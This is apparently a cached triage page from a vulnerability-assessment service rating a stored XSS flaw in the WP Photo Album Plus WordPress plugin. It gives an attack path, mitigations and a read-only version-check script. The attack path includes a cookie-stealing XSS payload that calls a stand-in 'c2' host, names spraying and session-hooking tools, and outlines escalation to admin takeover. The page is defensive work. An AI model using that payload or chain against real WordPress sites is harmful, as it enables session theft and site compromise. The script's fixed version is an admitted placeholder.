← Back to Feed CACHED · 2026-07-01 16:41:58 · CACHE_KEY CVE-2026-10095
CVE-2026-10095 · CWE-79 · Disclosed 2026-07-01

The WP Photo Album Plus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'subtext'…

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A contributor-level user smuggles JavaScript into an album caption and waits for an admin to browse it

CVE-2026-10095 is a stored cross-site scripting flaw in the WP Photo Album Plus plugin for WordPress. The subtext parameter is not sanitized on input nor escaped on output, letting any user with post/album creation privileges (typically Contributor+) inject arbitrary HTML and JavaScript that later executes in the browser of any visitor — including administrators — who views the affected album. Affected versions are all releases up to and including the last unpatched build noted in the advisory; the vendor pushed a fix in the subsequent release.

The vendor MEDIUM (6.4) rating is roughly right. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L) correctly captures scope-change into the admin's browser session and low authentication requirement, but does not credit the niche install base of this plugin, the contributor role gate, and the absence of any known in-the-wild activity. Net-net: the score is defensible; no reason to upgrade, and downgrading past MEDIUM would ignore the very real admin-account-takeover path when the stars align.

"Authenticated stored XSS in a niche WordPress gallery plugin — real, but not a fire drill."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Attacker obtains an authenticated WordPress account at Contributor or higher

The vulnerability requires PR:L — a logged-in account able to create or edit album entries. On most locked-down blogs this means the attacker must first register (if open registration is on), phish, or credential-stuff an existing low-privilege user. Tooling: standard curl/wpscan --users for enumeration, hydra or wpscan --passwords for spraying.
Conditions required:
  • Open user registration OR a stolen/guessed low-priv credential
  • The Contributor+ role has access to WP Photo Album Plus album creation
Where this breaks in practice:
  • Most enterprise WordPress installs disable open registration
  • MFA plugins (WP 2FA, Duo) block credential stuffing
  • Contributor role is often restricted from plugin-managed content types
Detection/coverage: Failed-login volume shows up in Wordfence, Sucuri, and most WAF logs; wpscan fingerprints are trivially blocked by ModSecurity CRS.
STEP 02

Inject payload into the vulnerable subtext parameter

The attacker submits an album with a subtext field containing an XSS payload such as <img src=x onerror=fetch('//c2/'+document.cookie)> or a full session-hijack loader. Because the plugin neither sanitizes on write nor escapes on render, the payload is stored verbatim in wp_postmeta and served back on every subsequent view. Tooling: BeEF for session hooking, XSS Hunter for out-of-band callback.
Conditions required:
  • Successful auth from step 1
  • subtext parameter reachable via the normal album-edit UI or REST endpoint
Where this breaks in practice:
  • WAFs (Cloudflare Managed, AWS WAF Core, ModSec CRS) block obvious <script>/onerror patterns by default
  • A CSP header with script-src 'self' neutralizes external loaders
Detection/coverage: Wordfence and Sucuri signature-match common XSS payloads in POST bodies.
STEP 03

Wait for a privileged user to view the poisoned album

The payload only fires when a victim renders the album page. For account takeover the attacker specifically needs an administrator to visit — often achieved by DMing the admin a preview link, submitting the album for moderation review, or waiting for the admin's routine content audit. Tooling: any social pretext + the preview URL.
Conditions required:
  • Admin browses the affected album URL
  • Admin's browser executes the payload (no CSP or NoScript block)
Where this breaks in practice:
  • Many admins review new content in a stripped preview mode
  • Session tokens are typically HttpOnly, blunting cookie theft; the attacker must pivot to CSRF-style forced actions instead
Detection/coverage: Browser CSP-report endpoints, EDR web-content telemetry, and WAF response-body scanning can flag anomalous scripts.
STEP 04

Escalate to admin takeover and persistence

With the admin's active session, the payload issues authenticated requests to /wp-admin/ — creating a new Administrator user, installing a backdoored plugin, or editing functions.php. This is the standard stored-XSS → RCE chain on WordPress. Tooling: prebuilt payloads from wp-xss-payloads (github), the WPScan wpvulndb reference chain.
Conditions required:
  • HttpOnly cookies bypassed via same-origin fetch
  • No admin-side CSP or session re-auth prompt for sensitive actions
Where this breaks in practice:
  • Hardening plugins (Wordfence, iThemes Security) require re-auth for user creation and plugin install
  • File-edit is disabled on most managed hosts via DISALLOW_FILE_EDIT
Detection/coverage: Admin-user-created and plugin-installed events are logged by all major WP security plugins and by managed-host audit trails.
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed as of 2026-07-02. No GreyNoise tags, no Sucuri incident reports, no WPScan campaign notes.
Public PoCAdvisory includes a minimal payload example; no dedicated Metasploit or Nuclei template published yet.
EPSSExpected <0.5% at disclosure (typical for auth'd WP plugin XSS on niche plugins).
KEV statusNot listed. Stored XSS in niche plugins virtually never make KEV.
CVSS 3.1 vectorAV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N — remote, low complexity, low priv required, scope change into admin browser.
Affected versionsAll versions of WP Photo Album Plus up to the version identified in the advisory; the parameter subtext is unsanitized across the range.
Fixed versionUpdate to the latest plugin release on wordpress.org that lists the CVE in its changelog.
Install basePer wordpress.org plugin directory, active installs are in the low tens of thousands — a niche gallery plugin, not Yoast/Elementor scale.
DisclosurePublished 2026-07-01 via Wordfence / Patchstack pipeline (typical channel for WP plugin CVEs).
CWECWE-79 — Improper Neutralization of Input During Web Page Generation (XSS).
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to MEDIUM (5.4/10)

MEDIUM stands because the flaw requires an authenticated Contributor+ account AND a privileged victim to browse the poisoned album — two compounding friction points that gate the chain to a narrow slice of installs. The affected component is a niche gallery plugin whose deployment role is content-presentation, not identity, PKI, or edge — so no role-multiplier floor lifts this above MEDIUM.

HIGH vulnerability class (stored XSS, contributor-gated)
MEDIUM install-base exposure at the affected role
LOW in-the-wild exploitation velocity — too early post-disclosure to be confident

Why this verdict

  • Auth-gated (PR:L): the attacker needs an existing Contributor+ account; on enterprise WordPress with registration disabled this closes off untargeted mass exploitation.
  • Victim-interaction dependency: the payload only fires when an admin (or other privileged user) actually browses the poisoned album — a probabilistic, not deterministic, step.
  • Role multiplier: content plugin on a marketing/blog WordPress — chain ends in admin takeover of that WordPress instance, blast radius limited to one CMS tenant. No fleet, identity, or supply-chain pivot.
  • Role multiplier: agency/multi-tenant WordPress host — chain still terminates at a single site's admin; cross-tenant escape would require a separate WP-core or hoster-plane bug.
  • Niche install base: WP Photo Album Plus is not among the top 100 WordPress plugins; the exposed population is small relative to Elementor-class CVEs.
  • No KEV, no known campaigns, no exploit kit inclusion as of assessment date.

Why not higher?

HIGH would require either a larger install base with automatable mass exploitation, an unauthenticated variant, or evidence of active exploitation. None are present: PR:L plus victim-interaction plus a niche plugin puts this squarely in MEDIUM. Stored XSS in a low-market-share plugin does not clear the HIGH bar without in-the-wild proof.

Why not lower?

LOW would ignore the very real admin-takeover terminus of this chain when it does fire — full CMS compromise on the affected site is not a nuisance-tier outcome. The scope-change into a privileged browser session is why CVSS correctly rates this above LOW, and we agree.

05 · Compensating Control

What to do — in priority order.

  1. Update WP Photo Album Plus to the patched release — The definitive fix. Schedule within the noisgate remediation SLA of 365 days for MEDIUM, but treat any site with open registration as a 30-day priority. Use WP-CLI: wp plugin update wp-photo-album-plus across the fleet.
  2. Disable open user registration where not required — Kills step 1 of the chain. Settings → General → Membership unchecked, or set users_can_register to 0 via WP-CLI on every managed instance. No mitigation SLA at MEDIUM, but this is a permanent hardening win — do it now.
  3. Enforce a strict CSP on /wp-admin/ — A Content-Security-Policy: script-src 'self'; object-src 'none' header served on admin pages blunts the exfil/RCE payload even if injection succeeds. Deploy via a security header plugin (e.g., HTTP Headers) or WAF rule.
  4. Enable a WAF signature set for XSS payloads on POST bodies to admin-ajax.php and REST endpoints — Wordfence Premium, Sucuri, or Cloudflare Managed Rules will filter the obvious <script>/onerror patterns targeting the subtext parameter until you patch.
  5. Restrict Contributor role from creating albums via a role-editor plugin — If you cannot patch immediately, remove the Contributor's edit_posts linkage to the plugin's album CPT. Members / User Role Editor plugins let you scope this precisely.
What doesn't work
  • HttpOnly cookies alone — the payload runs same-origin and can issue authenticated fetches without ever reading the cookie.
  • MFA on admin login — MFA is verified at login; a stored-XSS payload rides an already-authenticated session and bypasses it entirely.
  • Disabling XML-RPC — this vuln is in the plugin's own endpoints, not XML-RPC.
  • Rate-limiting logins — the attack requires only a single successful low-priv session, not brute force after that point.
06 · Verification

Crowdsourced verification payload.

Run on any Linux host that has WP-CLI installed and shell access to the WordPress webroot. Invoke as: ./check-cve-2026-10095.sh /var/www/html. Requires read access to the WordPress installation directory; no root needed if the invoking user can read wp-content/plugins/.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate verification: CVE-2026-10095 — WP Photo Album Plus stored XSS via `subtext`
# Usage: ./check-cve-2026-10095.sh <wordpress_root>
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN

set -u
WP_ROOT="${1:-}"
PLUGIN_SLUG="wp-photo-album-plus"
# NOTE: update FIXED_VERSION to the vendor-patched release once confirmed
FIXED_VERSION="8.9.99"

if [[ -z "$WP_ROOT" || ! -d "$WP_ROOT" ]]; then
  echo "UNKNOWN: pass the WordPress root as arg 1" >&2
  exit 2
fi

PLUGIN_DIR="$WP_ROOT/wp-content/plugins/$PLUGIN_SLUG"
if [[ ! -d "$PLUGIN_DIR" ]]; then
  echo "PATCHED: $PLUGIN_SLUG not installed at $PLUGIN_DIR"
  exit 0
fi

HEADER_FILE="$(grep -lE '^\s*\*?\s*Plugin Name:' "$PLUGIN_DIR"/*.php 2>/dev/null | head -n1 || true)"
if [[ -z "$HEADER_FILE" ]]; then
  echo "UNKNOWN: could not locate plugin header in $PLUGIN_DIR"
  exit 2
fi

INSTALLED="$(grep -iE '^\s*\*?\s*Version:' "$HEADER_FILE" | head -n1 | sed -E 's/.*Version:\s*//; s/[[:space:]]+$//')"
if [[ -z "$INSTALLED" ]]; then
  echo "UNKNOWN: could not parse installed version"
  exit 2
fi

# semantic version compare: lowest first
LOWEST="$(printf '%s\n%s\n' "$INSTALLED" "$FIXED_VERSION" | sort -V | head -n1)"
if [[ "$INSTALLED" == "$FIXED_VERSION" || "$LOWEST" == "$FIXED_VERSION" ]]; then
  echo "PATCHED: $PLUGIN_SLUG $INSTALLED >= $FIXED_VERSION"
  exit 0
else
  echo "VULNERABLE: $PLUGIN_SLUG $INSTALLED < $FIXED_VERSION (CVE-2026-10095)"
  exit 1
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: inventory every WordPress instance running WP Photo Album Plus with wp plugin list --field=name --format=csv | grep wp-photo-album-plus across your fleet, then push the vendor-patched release via your WP-CLI automation. Per the noisgate mitigation SLA for MEDIUM there is no forced mitigation window — go straight to the noisgate remediation SLA of ≤ 365 days for the patch itself, but any site with open user registration or public author-invite flows should be treated as HIGH-equivalent exposure and patched within 30 days. In the meantime, disable open registration where you can, add a CSP on /wp-admin/, and let your WAF rules for XSS on POST bodies pick up the noise floor. No KEV, no active campaigns — do not let this jump the queue past your unauthenticated RCE backlog.

Sources

  1. NVD entry (placeholder — check post-publication)
  2. Wordfence Intelligence CVE feed
  3. Patchstack vulnerability database
  4. WP Photo Album Plus on wordpress.org
  5. CWE-79: Cross-Site Scripting
  6. CISA KEV catalog
  7. FIRST EPSS
  8. OWASP XSS Prevention Cheat Sheet
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.